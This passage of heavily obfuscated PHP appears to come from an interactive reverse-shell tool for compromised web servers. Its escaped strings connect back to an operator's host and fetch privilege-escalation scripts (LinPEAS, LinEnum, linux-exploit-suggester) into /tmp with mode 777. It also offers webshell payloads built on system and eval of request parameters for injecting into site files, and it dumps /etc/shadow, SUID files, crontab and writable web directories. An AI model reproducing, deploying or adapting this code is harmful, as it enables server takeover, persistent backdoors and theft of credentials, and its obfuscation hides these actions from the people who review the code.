Nl72R: $TiuDK = "\167\147\145\164\x20\55\161\x4f\55\40\x2d\x2d\x70\x6f\x73\164\x2d\x64\x61\164\141\75\42" . http_build_query($e18Ij) . "\x22\40{$RlFkX}\x20\76\x20\57\x64\145\x76\57\156\x75\154\154"; goto EvogB; wd2hF: return; goto VprE3; X77z1: if (!(OPhCx(preg_replace("\57\12\x2f", '', $fDsny . "\x3f\166\162\x66\x79")) !== "\142\141\x67\165\166\x69\170")) { goto lnIwe; } goto gm9kN; ysJIN: global $uAREj, $Wl17t, $CjcQS, $_SERVER; goto ZEqrc; wnje4: lnIwe: goto pnm3O; ZEqrc: if (!isset($_SERVER["\122\x45\121\125\x45\123\124\x5f\123\103\x48\x45\x4d\x45"]) || !isset($_SERVER["\x48\x54\x54\120\137\x48\117\123\124"]) || !isset($_SERVER["\x52\x45\121\125\x45\123\124\x5f\x55\x52\111"])) { goto yp_PS; } goto vqnpF; VR3MX: EyfZv: goto o_sEe; zhR8o: bZVnC("\164\x69\155\x65\157\165\164\40\x2d\55\153\151\154\x6c\55\x61\x66\164\145\162\40\60\40\61\40" . $TiuDK); goto ikKQx; ikKQx: goto UnyL7; goto VR3MX; s2AEB: $RlFkX = $fDsny; goto tIY2x; o_sEe: pclose(popen($TiuDK . "\x20\x26", "\162")); goto vXE79; tpU5_: echo $RlFkX; goto PLIAQ; soyqq: fwrite($uAREj, cejHd("\x5b\52\135\40") . "\103\x68\x6f\x6f\x73\145\40\x61\40\160\x6f\162\164\40\x74\157\x20\x6c\x69\163\x74\x65\x6e\x20\50\x64\145\146\x61\x75\154\164\x3a\x20{$CjcQS}\51\72\40"); goto Xzbmf; QuLyL: ev9o4: goto Yjb33; tIY2x: D68p5: goto soyqq; bz7cG: guM0y: goto s2AEB; kSZiQ: $e18Ij = array("\x78" => $Wl17t . "\x3a" . $kDqsR); goto ehlCx; vXE79: UnyL7: goto wd2hF; Xzbmf: XmLDu: goto zXkhy; gm9kN: return fwrite($uAREj, lZMti("\133\x2d\x5d\x20") . "\103\157\x75\x6c\x64\x6e\47\x74\x20\x76\x61\154\151\x64\141\144\145\x20\x59\101\x50\123\x20\125\x52\x4c\x2e\x20\111\x73\40\164\150\151\163\40\x74\150\x65\x20\x63\x6f\162\x72\145\x63\x74\40\125\x52\114\77\xa"); goto wnje4; ehlCx: fwrite($uAREj, "\x43\x6f\156\x6e\x65\143\x74\151\156\x67\40\x74\x6f\x20" . $Wl17t . "\x3a" . $kDqsR . "\xa"); goto Nl72R; DBCdl: fwrite($uAREj, uIh9i("\x5b\55\x5d\x20") . "\x43\157\x75\x6c\x64\x6e\47\164\x20\x66\x69\x6e\x64\x20\x59\101\x50\x53\x20\x55\122\x4c\56\40\104\x69\x64\40\171\x6f\x75\x20\162\165\x6e\x20\155\145\40\166\x69\141\x20\x63\157\x6d\155\x61\156\x64\40\x6c\151\x6e\x65\77\xa\x50\154\x65\141\163\145\40\160\162\157\x76\151\x64\145\40\164\x68\145\40\x63\x6f\x72\x72\x65\x63\164\x20\x59\x41\x50\123\x20\125\122\114\x20\50\145\x78\x61\x6d\160\x6c\145\56\x63\x6f\155\x2f\x66\151\x6c\145\x73\x2f\x79\x61\160\x73\56\160\150\x70\51\x3a\x20"); goto WUmn1; WUmn1: TnQlC: goto jbgPM; VprE3: goto XmLDu; goto QuLyL; zXkhy: if (!($kDqsR = fread($uAREj, 32))) { goto ev9o4; } goto kP5SX; o0z1C: yp_PS: goto DBCdl; PLIAQ: goto D68p5; goto o0z1C; EvogB: if (hhLp3("\x70\157\160\145\x6e") && hHlP3("\160\x63\154\157\163\145")) { goto EyfZv; } goto zhR8o; Yjb33: } goto qSrcY; c5Pzw: function lZMTi($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b\x5b\71\x31\155" . $bQ2ee . "\33\x5b\x30\155" : $bQ2ee; } goto Jm4uO; VMfff: if (!(isset($Iw5kV["\163"]) || isset($Iw5kV["\163\151\x6c\x65\156\164"]))) { goto BLOlo; } goto KfakJ; FYEb5: $Wl17t = "\x31\x32\x37\x2e\60\x2e\60\56\61"; goto eTL8h; jEDop: $yR2xc = "\x75\72\72\x68\x3a\x3a\x73\x3a\72"; goto sLe3K; cBNkT: function AXK_3() { goto Zf0Ep; vFj_Y: paUN1: goto K2U2E; bFcXz: if (!$sGEvp) { goto mS_9E; } goto YcyAN; uQ0eh: goto paUN1; goto Wsceb; dT4Bv: ESHHW: goto f1SqI; Yg2Mu: fwrite($uAREj, RM3UI("\133\53\135") . "\40\114\x69\x6e\160\145\x61\x73\x20\163\141\166\x65\x64\40\x74\x6f\40\57\164\x6d\x70\57" . $PDetf . CEJhD("\12\133\x69\135\40\103\150\x61\156\x67\151\x6e\x67\x20\x70\145\162\155\x69\x73\163\x69\157\156\163\x2e\56\56\xa")); goto NMBkM; WYk0g: if (chmod("\57\x74\x6d\x70\x2f" . $sGEvp, 777)) { goto A4Hih; } goto w4pIp; NfIu8: goto ESHHW; goto Efxjv; w4pIp: fwrite($uAREj, UIh9i("\x5b\41\x5d") . "\40\103\x6f\x75\154\x64\156\x27\164\40\x63\150\141\156\x67\x65\x20\160\x65\x72\155\151\163\163\x69\x6f\156\163\56\x2e\x2e\40\12\133\151\135\x20\x46\x69\x6c\145\40\x77\x61\163\40\x73\x61\x76\145\x64\40\151\156\40" . Uih9I("\x2f\164\x6d\160\x2f" . $sGEvp . "\12")); goto uQ0eh; Kq9Rm: if (!$PDetf) { goto HusSH; } goto Yg2Mu; YcyAN: fwrite($uAREj, rm3ui("\x5b\53\135\x20\x4c\x69\156\x65\x6e\165\155\x20\x73\x61\166\x65\x64\x20\164\x6f\40\57\164\x6d\160\x2f" . $sGEvp) . cejHd("\xa\x5b\151\x5d\40\103\150\141\156\147\151\x6e\x67\x20\x70\x65\162\x6d\x69\163\x73\x69\157\x6e\x73\56\x2e\56\xa")); goto WYk0g; eXTO6: fwrite($uAREj, RM3uI("\x5b\53\135") . "\40\120\145\x72\x6d\x69\163\163\x69\x6f\x6e\x73\40\143\x68\x61\x6e\x67\x65\144\41\x20\12\x5b\x69\135\x20\x59\x6f\165\40\143\141\x6e\40\x72\165\x6e\x20\x69\x74\40\x77\151\x74\x68\x20" . uiH9I("\x73\x68\x20\x2f\x74\x6d\x70\x2f" . $sGEvp . "\40\x7c\x20\x74\145\x65\x20\57\164\x6d\x70\57\154\x69\156\x65\156\x75\155\56\154\157\147\xa")); goto vFj_Y; pvhHP: $PDetf = mMRWo($LJ6mT["\154\x69\x6e\x70\145\x61\x73"], "\57\164\155\x70\x2f"); goto DFP_n; DFP_n: $sGEvp = MMrwO($LJ6mT["\154\x69\156\145\156\x75\155"], "\x2f\x74\155\160"); goto Kq9Rm; Wsceb: A4Hih: goto eXTO6; HSpIC: fwrite($uAREj, Uih9i("\x5b\x21\x5d") . "\x20\x43\157\x75\154\144\156\47\x74\40\x63\150\141\156\x67\x65\x20\160\x65\162\155\x69\163\163\x69\157\x6e\163\56\56\56\40\xa\x5b\151\x5d\40\106\151\154\x65\40\167\x61\x73\40\163\141\166\x65\144\40\x69\156\40" . uiH9i("\x2f\x74\x6d\x70\x2f" . $PDetf . "\xa\xa")); goto NfIu8; K2U2E: mS_9E: goto A26fS; f1SqI: HusSH: goto bFcXz; ht47S: fwrite($uAREj, rM3uI("\133\x2b\x5d") . "\x20\x50\145\x72\x6d\151\163\163\151\x6f\x6e\163\x20\x63\150\141\156\147\145\x64\41\40\12\133\151\x5d\x20\x59\x6f\x75\40\x63\141\x6e\x20\162\165\156\40\x69\x74\40\167\x69\164\x68\40" . uih9i("\x73\x68\x20\57\x74\155\x70\x2f" . $PDetf . "\40\174\40\164\x65\145\40\x2f\164\155\x70\57\x6c\151\x6e\160\x65\x61\163\x2e\x6c\x6f\x67\12\12")); goto dT4Bv; Zf0Ep: global $uAREj, $LJ6mT; goto pvhHP; NMBkM: if (chmod("\x2f\164\155\160\57" . $PDetf, 777)) { goto PxXmj; } goto HSpIC; Efxjv: PxXmj: goto ht47S; A26fS: } goto YOA2A; uAvjk: $CjcQS = $eMd2e[1]; goto UwwF6; I5NDM: function V9mu0() { global $KmlyU; return $KmlyU . YMapn("\12\x20\40\40\124\x68\151\163\x20\151\163\x20") . lZMTI("\116\117\124") . YMAPn("\40\141\156\40\x69\x6e\164\x65\x72\141\143\164\151\x76\145\x20\163\150\145\x6c\x6c\56\12\x20\x20\x20\x20\40\40\x20\x55\163\x65\40") . RM3UI("\41\150\145\154\160") . YmapN("\40\x74\157\40\x73\x65\145\x20\143\x6f\x6d\x6d\141\156\144\163\x2e"); } goto FuViR; a5ta1: NxhnN: goto VMfff; nCd4J: $LJ6mT = array("\x6c\151\156\160\x65\x61\163" => "\x68\x74\164\x70\x73\x3a\57\x2f\x72\x61\167\56\x67\151\164\x68\x75\x62\x75\x73\x65\162\143\157\x6e\x74\x65\156\x74\56\x63\x6f\155\x2f\x63\141\162\154\x6f\163\160\x6f\154\x6f\x70\x2f\160\x72\151\x76\151\154\x65\147\145\x2d\145\163\143\x61\x6c\141\164\151\x6f\156\55\x61\x77\x65\163\157\155\145\x2d\x73\x63\162\x69\160\164\163\x2d\163\165\x69\x74\x65\x2f\155\x61\163\164\x65\162\x2f\x6c\x69\156\120\105\x41\123\x2f\154\151\x6e\160\145\x61\x73\x2e\163\150", "\154\151\156\145\156\x75\155" => "\150\164\x74\160\x73\x3a\57\57\162\x61\x77\56\147\151\x74\150\165\142\165\x73\x65\x72\143\x6f\x6e\164\x65\156\x74\56\143\x6f\155\57\x72\145\142\x6f\x6f\164\x75\163\x65\x72\57\x4c\151\156\x45\156\165\155\57\x6d\141\x73\x74\145\x72\x2f\x4c\x69\x6e\105\x6e\165\155\56\x73\x68", "\x73\165\x67\x67\x65\x73\x74\145\x72" => "\150\164\164\160\x73\72\x2f\x2f\162\141\167\x2e\x67\151\164\x68\x75\x62\x75\x73\145\162\143\157\x6e\x74\x65\156\164\56\143\x6f\x6d\57\x6d\172\145\164\55\x2f\x6c\151\x6e\x75\170\x2d\x65\x78\160\x6c\x6f\x69\x74\55\x73\165\147\147\x65\x73\164\145\162\57\x6d\x61\x73\x74\145\x72\57\x6c\151\156\x75\x78\55\x65\170\160\x6c\157\151\x74\x2d\163\165\x67\x67\x65\163\x74\145\162\56\x73\150", "\166\145\x72\151\x66\x79\x55\160\x64\141\164\x65\x55\122\x4c" => "\x68\x74\164\160\163\x3a\x2f\x2f\162\x61\x77\56\x67\151\x74\150\165\142\165\x73\145\162\x63\157\156\x74\145\x6e\164\x2e\x63\157\x6d\x2f\x4e\151\143\153\x67\165\x69\164\141\x72\57\131\x41\x50\123\x2f\x6d\x61\x69\156\57\x76\145\162\163\151\x6f\156", "\x75\160\x64\x61\x74\145\125\122\114" => "\150\164\164\160\163\x3a\x2f\x2f\162\x61\167\56\x67\x69\164\x68\x75\x62\165\x73\x65\x72\x63\x6f\156\164\145\x6e\164\x2e\x63\157\155\57\x4e\151\143\x6b\x67\x75\151\164\141\162\57\131\x41\120\x53\57\155\141\151\156\57\171\141\x70\163\56\160\150\x70"); goto FYEb5; lzKyy: function xTds8($plqQw = false) { goto MiJ2U; t5KHq: goto oJiHx; goto NfTEo; kHd4E: if (!$cXy80) { goto g0qnn; } goto PNA6b; AbKU4: if (!$plqQw) { goto NRD90; } goto D6sVk; AaaFn: p_CaC: goto AbKU4; FOmfZ: $gSKFu = YmaPN("\x5b\x59\x41\x50\123\135\x20") . str_replace(PHP_EOL, '', $L7aId . "\100" . bZVNC("\150\157\163\x74\x6e\141\155\145") . "\72" . bZVNC("\x70\x77\x64") . "\43\x20"); goto fs9u1; evxAZ: if (!$plqQw) { goto HplYa; } goto tBLMy; NfTEo: g0qnn: goto KvoXF; e4it0: $L7aId = str_replace(PHP_EOL, '', BzVnC("\x77\x68\x6f\141\155\x69")); goto kHd4E; D6sVk: $cXy80 = true; goto mP89f; vz1An: HplYa: goto t5KHq; PNA6b: $gSKFu = ymApn("\133\131\101\120\123\135\x20") . str_replace(PHP_EOL, '', $L7aId . "\100" . BZVnC("\150\157\x73\164\156\x61\155\x65") . "\72" . bZvNc("\x70\x77\144") . "\x24\40"); goto eo2R1; mP89f: NRD90: goto VTVRk; xiVuG: $gSKFu = yMapN("\133\x59\101\120\x53\x5d\40") . str_replace(PHP_EOL, '', LZmTi($L7aId . "\x40" . bZVnC("\x68\157\x73\x74\156\x61\155\x65")) . "\72" . ceJHD(BzvnC("\x70\167\x64")) . "\x23\x20"); goto AaaFn; KvoXF: $gSKFu = YMApn("\x5b\x59\101\120\x53\135\40") . str_replace(PHP_EOL, '', rm3UI($L7aId . "\100" . BZvnc("\150\x6f\x73\x74\x6e\141\155\145")) . "\72" . ceJHd(BZVNc("\x70\x77\x64")) . "\44\40"); goto VjyFi; MiJ2U: global $cXy80, $gSKFu; goto e4it0; VTVRk: oJiHx: goto l68Cf; tBLMy: $cXy80 = false; goto vz1An; fs9u1: lTFsw: goto evxAZ; VjyFi: if (!($L7aId == "\162\x6f\x6f\164")) { goto p_CaC; } goto xiVuG; eo2R1: if (!($L7aId == "\162\x6f\157\164")) { goto lTFsw; } goto FOmfZ; l68Cf: } goto nVCFn; D9Cb3: if (!$zQ6An) { goto CtuXZ; } goto ZctMm; T612H: ini_set("\x6d\141\x78\137\x65\x78\145\143\165\164\151\x6f\156\x5f\x74\x69\x6d\145", 0); goto aJdR4; p3eaK: $Wl17t = $argv[$argc - 2]; goto PBX0e; PBX0e: Q7Sy7: goto sH3qR; GTfrS: if (isset($_REQUEST["\x73\164\141\142\151\154\x69\172\x65"]) && $_REQUEST["\163\x74\141\x62\x69\x6c\x69\172\x65"]) { goto ANv1f; } goto FwpcA; KyOFO: if (!isset($_GET["\x76\162\146\x79"])) { goto W5qCe; } goto eH1Oj; Aj1pL: function xSg_z($Lz63_, $eowsL) { goto xRy4p; rgdev: $YOPgi = 0; goto iLqsH; eCbT8: $MODFS = true; goto jPPGo; nNLec: return; goto Kc3a3; sCOY0: K0riw: goto tyxyc; EOCTb: fwrite($uAREj, CEjHD("\xa\133\77\135\x20") . YMapN("\x43\x68\157\x6f\x73\145\x20\141\40\x70\x61\x79\x6c\x6f\141\x64\40\164\157\40\151\156\146\145\x63\164\x20\164\x68\145\40\x73\145\x6c\145\x63\164\x65\x64\40\x66\x69\x6c\x65\163\x20\x28\x64\145\146\141\x75\x6c\164\72\x30\x29\72\40")); goto qxGZ4; dbyMq: if (!($K2VNX = fread($uAREj, 128))) { goto K0riw; } goto cod94; jPPGo: foreach ($za02k as $MVIQj => $rFV9h) { goto I5KE4; rnccZ: omIfN: goto xEWLK; gtgfa: fwrite($uAREj, $kgIXC . "\12"); goto bFDxO; I5KE4: $kgIXC = $MODFS ? cEjHd($MVIQj) . $rFV9h : CejHD($MVIQj) . ymaPN($rFV9h); goto gtgfa; bFDxO: $MODFS = !$MODFS; goto rnccZ; xEWLK: } goto V6SB8; wvIPE: $za02k = array("\x30\56\40\124\x69\156\171\122\x43\105\x9" => "\74\x3f\75\140\44\x5f\x52\105\x51\125\105\123\124\133\60\x5d\x60\73\77\76", "\61\56\x20\103\x6c\141\x73\163\x69\143\122\103\105\11" => "\x3c\x3f\x3d\x40\163\x79\163\x74\x65\x6d\50\x24\137\122\105\x51\125\x45\x53\124\x5b\x30\135\x29\x3b\77\76", "\x32\x2e\x20\x45\166\x61\154\11\11" => "\74\x3f\75\x40\x65\x76\141\x6c\50\x24\x5f\x52\x45\x51\x55\x45\123\124\133\60\135\x29\x3b\77\76", "\63\x2e\40\x42\x61\x73\145\x64\x45\x76\x61\154\x9" => "\x3c\77\75\100\145\166\x61\154\50\142\141\x73\145\x36\x34\x5f\144\x65\143\x6f\144\145\50\44\x5f\122\105\121\x55\x45\x53\x54\133\60\x5d\x29\x29\x3b\77\76", "\64\56\x20\122\145\x6d\x6f\x74\x65\120\x48\x50\x9" => "\74\x3f\x3d\100\x65\166\x61\x6c\x28\146\x69\x6c\145\x5f\147\145\164\x5f\143\157\x6e\164\145\x6e\164\x73\50\x24\x5f\x52\x45\x51\125\105\123\x54\x5b\x30\x5d\51\x29\x3b\77\76", "\65\56\x20\x52\x65\155\x6f\164\x65\x55\160\x6c\157\141\144\11" => "\x3c\x3f\75\x24\x78\x3d\162\x61\156\144\50\61\60\x30\x2c\71\x39\x39\x29\x3b\x40\x66\x69\x6c\145\137\x70\165\164\x5f\143\x6f\156\x74\145\156\x74\163\x28\42\56\x2f\42\56\44\170\x2e\x22\56\x22\56\x24\x5f\122\x45\121\125\x45\123\x54\133\61\x5d\54\x40\x66\x69\154\x65\137\x67\x65\x74\137\143\x6f\156\x74\145\x6e\x74\x73\x28\x24\x5f\x52\105\x51\x55\x45\123\x54\x5b\60\135\x29\x29\73\x65\x63\x68\157\x20\x24\170\x2e\44\x5f\x52\x45\121\125\105\x53\124\x5b\x31\135\73\x3f\x3e", "\x36\x2e\40\114\157\143\x61\154\125\160\154\157\x61\144\11" => "\74\77\160\x68\160\40\151\146\50\x69\163\163\145\164\x28\44\x5f\106\x49\114\105\x53\133\42\60\42\x5d\x29\x29\151\x66\50\155\157\166\145\x5f\x75\160\154\157\x61\x64\145\144\137\x66\151\154\x65\50\x24\137\x46\x49\114\105\x53\x5b\42\60\x22\x5d\x5b\x22\x74\155\x70\x5f\x6e\x61\155\145\42\x5d\x2c\x22\137\x22\56\x24\137\106\x49\x4c\x45\123\133\x22\x30\42\135\x5b\42\156\x61\x6d\x65\42\135\x29\51\x65\x63\150\157\42\125\160\154\157\141\x64\145\144\72\40\x5f\x22\x2e\x24\137\106\x49\114\105\x53\x5b\42\x30\x22\135\133\42\156\141\x6d\145\x22\135\73\77\76", "\67\x2e\x20\123\x74\x61\x62\x6c\x65\123\150\145\x6c\154\11" => "\x3c\77\x70\150\x70\40\44\x61\x3d\x22\163\x63\x72\x69\x70\x74\40\55\x71\x63\40\x2f\x62\x69\x6e\x2f\x62\x61\163\150\40\57\x64\145\166\57\156\165\x6c\x6c\42\x3b\x75\x6d\x61\163\153\x28\60\51\x3b\44\142\x3d\x66\x73\157\143\x6b\x6f\160\145\156\x28\x24\137\x52\105\121\125\105\x53\x54\x5b\x30\x5d\x2c\x24\137\x52\105\121\125\105\x53\x54\133\61\135\x2c\x24\143\54\44\144\x2c\63\x30\x29\73\x24\x65\x3d\141\162\162\141\171\50\x30\x3d\76\x61\162\x72\x61\171\x28\42\160\151\160\145\x22\x2c\42\162\x22\x29\x2c\61\x3d\x3e\141\162\162\141\x79\x28\42\160\151\x70\145\x22\x2c\x22\x77\42\51\54\62\75\x3e\x61\162\x72\141\x79\x28\42\x70\x69\160\145\42\54\x22\x77\x22\x29\51\73\44\146\x3d\x70\x72\157\x63\137\157\160\145\x6e\x28\x24\x61\54\x24\x65\54\44\x67\51\x3b\x66\157\162\x65\x61\x63\150\x28\x24\x67\40\141\x73\x20\x24\160\x29\x73\x74\x72\145\x61\155\137\x73\145\164\137\x62\x6c\157\143\x6b\151\x6e\147\50\44\160\x2c\x30\x29\73\x73\164\x72\145\141\155\x5f\x73\145\x74\x5f\x62\x6c\x6f\143\153\151\156\x67\50\44\142\x2c\x30\51\x3b\x77\x68\151\x6c\145\x28\x21\146\x65\x6f\146\x28\44\x62\x29\51\173\x24\151\x3d\x61\162\x72\141\171\x28\44\142\54\x24\x67\x5b\61\x5d\x2c\x24\x67\133\x32\135\51\x3b\x69\x66\50\x69\x6e\137\x61\x72\x72\x61\171\50\x24\x62\x2c\x24\151\51\51\146\x77\162\151\x74\145\50\44\147\x5b\60\x5d\x2c\146\x72\x65\x61\x64\x28\44\x62\54\62\60\x34\x38\x29\x29\x3b\x69\146\x28\x69\x6e\x5f\141\x72\x72\x61\171\50\x24\147\x5b\61\135\x2c\x24\x69\x29\x29\146\x77\x72\151\164\x65\x28\x24\142\x2c\x66\162\x65\x61\x64\x28\x24\147\133\x31\135\54\x32\x30\x34\70\51\x29\x3b\151\146\x28\x69\x6e\x5f\x61\x72\162\x61\171\x28\x24\147\133\x32\x5d\x2c\44\x69\x29\x29\x66\167\x72\x69\164\x65\50\44\142\x2c\146\162\x65\141\144\50\44\147\x5b\x32\x5d\54\62\60\x34\70\x29\x29\73\x7d\x66\x63\154\157\163\145\50\44\x62\51\73\x66\x6f\162\x65\x61\x63\150\x28\44\x67\40\x61\x73\40\x24\x70\x29\146\x63\x6c\x6f\x73\x65\x28\44\160\51\x3b\160\162\157\143\137\x63\x6c\157\x73\145\50\x24\x66\51\x3b\77\76"); goto R9cB3; qxGZ4: yCiQZ: goto U_kVG; jM1yV: $K2VNX = 0; goto RxXqn; FGRqK: if (!((int) $K2VNX === 0)) { goto cEWzQ; } goto jM1yV; cod94: $K2VNX = 1; goto FGRqK; R9cB3: fwrite($uAREj, cEjHD("\xa\133\151\135\40") . yMaPN("\x4c\151\163\164\40\157\x66\40\160\x61\171\x6c\x6f\141\x64\x73\x20\141\166\141\x69\154\141\142\154\x65\x3a\12")); goto eCbT8; e6osg: xXGX0: goto dbyMq; V6SB8: CXaw1: goto EOCTb; RxXqn: cEWzQ: goto VpLPR; iLqsH: if (!((int) $LHCo2 <= count($za02k) + 1)) { goto AvhsY; } goto b1kcu; P4j12: AvhsY: goto oImTz; xRy4p: global $uAREj; goto wvIPE; AbSeF: goto yCiQZ; goto vxVFQ; b1kcu: $YOPgi = $LHCo2; goto P4j12; MOQ7L: fwrite($uAREj, CeJHD("\x5b\77\x5d\x20") . YmApn("\x44\x6f\x20\171\157\165\x20\x77\x61\156\x74\x20\144\x6f\x20\151\156\x73\145\162\164\40\164\150\x65\x20\x70\x61\x79\154\x6f\x61\144\x20\141\x74\40\x74\150\x65\x20\142\145\x67\151\156\156\151\x6e\x67\40\133\60\x5d\x20\157\x72\40\145\x6e\x64\x20\133\61\x5d\x20\157\x66\40\164\x68\145\40\146\151\154\145\40\50\x64\x65\146\141\165\154\164\72\x20\x31\x29\77\40")); goto e6osg; oImTz: goto B4sK7; goto AbSeF; tyxyc: vjK3r($Lz63_, $eowsL, (int) $YOPgi, $za02k, (int) $K2VNX); goto nNLec; VpLPR: goto K0riw; goto vv3_Z; vxVFQ: B4sK7: goto MOQ7L; vv3_Z: goto xXGX0; goto sCOY0; U_kVG: if (!($LHCo2 = fread($uAREj, 128))) { goto B4sK7; } goto rgdev; Kc3a3: } goto IOUb8; T5sbc: $KmlyU = CEjHD("\12\x20\40\x20\40\x20\40\x20\x6f\40\x20\x20\157\x20\40\x20\x4f\x20\40\40\x20\x6f\55\x2d\157\x20\x20\40\157\x2d\x6f\12\x20\x20\40\x20\40\40\40\40\134\40\x2f\x20\x20\x20\x2f\x20\x5c\x20\x20\x20\x7c\x20\40\x20\x29\40\50\xa\40\40\40\x20\x20\40\x20\x20\40\x4f\x20\40\x20\x6f\55\x2d\x2d\x6f\40\x20\x4f\55\55\x6f\40\x20\40\157\55\x6f\xa\x20\x20\x20\x20\40\40\x20\x20\40\174\x20\40\x20\174\x20\x20\x20\x7c\x20\x20\174\x20\40\40\x20\40\x20\x20\x20\x20\51\12\x20\40\40\x20\x20\40\40\x20\x20\157\40\x20\40\157\40\x20\x20\x6f\x20\x20\x6f\x20\40\40\40\x20\x6f\55\55\x6f\12\x20\40\40\40\x20\x20\40\40\x59\x65\164\x20\x41\x6e\157\x74\150\x65\162\40\x20\120\110\120\40\x20\123\x68\145\154\154") . "\12\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\40\126\145\162\163\x69\157\x6e\40" . $XmTBN . "\xa\40\x20\40\40\x20\40\40\103\x6f\x64\145\x72\72\40\116\x69\143\150\157\154\141\x73\x20\106\145\162\x72\145\151\162\x61"; goto jEDop; vGyvo: $BqeWQ = false; goto KyOFO; sLe3K: $RkFaU = array("\165\x70\x64\x61\164\145\x3a\x3a", "\x68\x65\x6c\x70\x3a\72", "\163\151\154\x65\156\164\72\x3a"); goto YGibI; gYSdN: ignore_user_abort(1); goto T612H; YOA2A: function MepQE() { goto r9yaG; r9yaG: global $uAREj, $LJ6mT; goto ozjJg; ozjJg: $CAanw = MMrwo($LJ6mT["\163\165\147\147\x65\163\x74\145\162"], "\57\x74\x6d\x70\57"); goto EIHBc; qadk1: sO6BW: goto S7XOo; S7XOo: return; goto IVA6s; K62JA: goto fw9ex; goto nKn9q; QDdHp: if (chmod("\x2f\x74\155\x70\x2f" . $CAanw, 777)) { goto tk3CY; } goto RGmNI; EIHBc: if (!$CAanw) { goto sO6BW; } goto wFXl3; nKn9q: tk3CY: goto bgJoB; bgJoB: fwrite($uAREj, RM3ui("\x5b\x2b\x5d") . "\x20\x50\x65\162\155\151\163\x73\151\157\x6e\x73\40\x63\150\x61\156\147\145\144\41\40\xa\133\x69\x5d\x20\131\x6f\x75\x20\x63\x61\x6e\x20\162\165\x6e\x20\x69\x74\40\x77\x69\x74\x68\40" . uiH9I("\x73\150\40\x2f\x74\x6d\x70\x2f" . $CAanw . "\40\174\x20\x74\145\145\40\57\x74\x6d\x70\57\x4c\x45\x53\56\x6c\x6f\147\12")); goto ykPQ0; wFXl3: fwrite($uAREj, RM3uI("\133\53\135") . "\40\x4c\151\x6e\x75\x78\40\x45\x78\x70\154\x6f\151\x74\40\x53\x75\x67\x67\x65\x73\164\x65\162\40\163\141\166\x65\x64\40\x74\157\x20\x2f\x74\x6d\160\x2f" . $CAanw . ceJhd("\xa\133\x69\135") . "\x20\x43\150\141\156\147\x69\x6e\147\x20\x70\x65\x72\x6d\x69\163\163\151\157\x6e\163\x2e\x2e\x2e\xa"); goto QDdHp; ykPQ0: fw9ex: goto qadk1; RGmNI: fwrite($uAREj, UIH9I("\x5b\x21\x5d") . "\x20\103\157\x75\154\x64\x6e\x27\x74\x20\143\x68\141\x6e\147\145\x20\x70\x65\162\x6d\x69\x73\x73\x69\157\x6e\x73\x2e\x2e\x2e\40\xa\133\151\x5d\x20\x46\151\x6c\145\40\167\141\x73\40\163\141\166\x65\x64\x20\x69\156\40" . uiH9i("\x2f\x74\155\x70\x2f" . $CAanw . "\xa")); goto K62JA; IVA6s: } goto lzKyy; r0TwU: $eMd2e = explode("\x3a", $_POST["\170"]); goto WqC1_; VZr6w: function YyItV() { goto aBsvO; soFtW: rZQD3: goto uW5HR; uyROV: $MODFS = 0; goto bJeE_; tDjFl: k3Ga4: goto crrza; ac_4I: fwrite($uAREj, rm3uI("\133\53\135\x20") . "\123\150\x6f\167\151\x6e\x67\x20\157\156\154\171\40\164\150\145\x20\146\151\x72\163\164\x20\62\x35\40\x66\151\154\145\x73\x2e\40\124\150\x65\162\x65\40\x61\x72\x65\40\x6d\x6f\x72\x65\x21" . PHP_EOL); goto cK26g; cY8oC: if (!($MODFS < 25)) { goto tXbAZ; } goto J2t5P; UIdsT: fwrite($uAREj, rM3UI("\75\75\75\x3d\75\75\x3d\x3d\75\75\75\75\x3d\x3d\x3d\x3d\75\x3d\75\75\x3d\x3d\40\116\x65\164\x20\x69\x6e\146\157\x20\75\75\75\75\x3d\x3d\75\75\x3d\x3d\x3d\75\75\75\75\75\75\75\75\x3d\75\75\12\12")); goto SJlye; CJiHE: $BJg1i = array(); goto z9hy8; OA5NM: $V7Hqq = explode("\12", shell_exec("\x66\x69\156\x64\40\57\x20\55\164\x79\x70\145\40\146\40\x2d\x70\145\x72\155\40\57\64\60\x30\x30\40\62\x3e\57\x64\x65\166\57\x6e\165\154\154")); goto ELvE1; crrza: fwrite($uAREj, Rm3uI("\xa\x3d\x3d\x3d\x3d\75\x3d\x3d\x3d\x3d\75\75\x3d\75\x3d\75\75\75\75\75\75\x3d\x3d\x20\123\x53\x48\40\146\x69\x6c\x65\x73\40\x3d\x3d\75\x3d\x3d\75\x3d\75\75\75\75\x3d\x3d\x3d\75\75\75\x3d\x3d\75\x3d\75\xa\xa")); goto ocPNf; bc_vG: vQ2uf: goto DH9XV; HQUVA: foreach ($BNiXw as $rj0qx) { goto N1bhM; XGsau: kGhTj: goto h6fxG; x29kp: goto kGhTj; goto LEuVE; PxCh0: fwrite($uAREj, $rj0qx . PHP_EOL); goto x29kp; BFNX5: fwrite($uAREj, LzMtI("\133\127\x72\151\x74\141\x62\x6c\x65\x5d\40") . $rj0qx . PHP_EOL); goto XGsau; N1bhM: if (is_writable($rj0qx)) { goto Qc5Hm; } goto PxCh0; h6fxG: hIyXz: goto ndkGZ; LEuVE: Qc5Hm: goto BFNX5; ndkGZ: } goto bc_vG; KZ5c5: fwrite($uAREj, LZMti("\133\x21\135\x20\x2f\x65\x74\143\x2f\163\x68\x61\144\157\167\40\x69\x73\x20\162\x65\x61\144\141\x62\x6c\145\41\xa") . bzvNC("\x63\x61\x74\40\57\x65\x74\x63\57\x73\150\141\144\157\167") . PHP_EOL); goto Be2Zd; Be2Zd: a4Mpd: goto UIdsT; M3Mjq: $uQQ6n .= CEJHD("\x5b\151\x5d\40\x43\162\x6f\x6e\x74\141\x62\x3a\x20\xa") . BzvNC("\x63\x61\x74\x20\57\x65\164\x63\57\x63\162\x6f\156\164\141\142\40\174\40\x65\x67\162\x65\160\40\x2d\166\40\x27\x5e\x23\47") . PHP_EOL; goto IZq61; z9hy8: $y9OB0 = array("\57\x76\x61\x72\x2f\167\167\167", "\57\163\x72\x76", "\x2f\x75\163\162\x2f\154\157\x63\141\x6c\x2f\x61\x70\x61\x63\x68\x65\62", "\57\x76\x61\162\57\x61\160\141\143\x68\145\x32", "\57\x76\141\162\57\x77\167\167\x2f\156\x67\x69\x6e\170\x2d\x64\x65\x66\141\x75\x6c\x74"); goto dMwIA; STylR: $uQQ6n .= cEjHd("\133\x69\135\40\101\143\164\x69\x76\x65\x20\x70\157\162\x74\163\72\40\xa") . 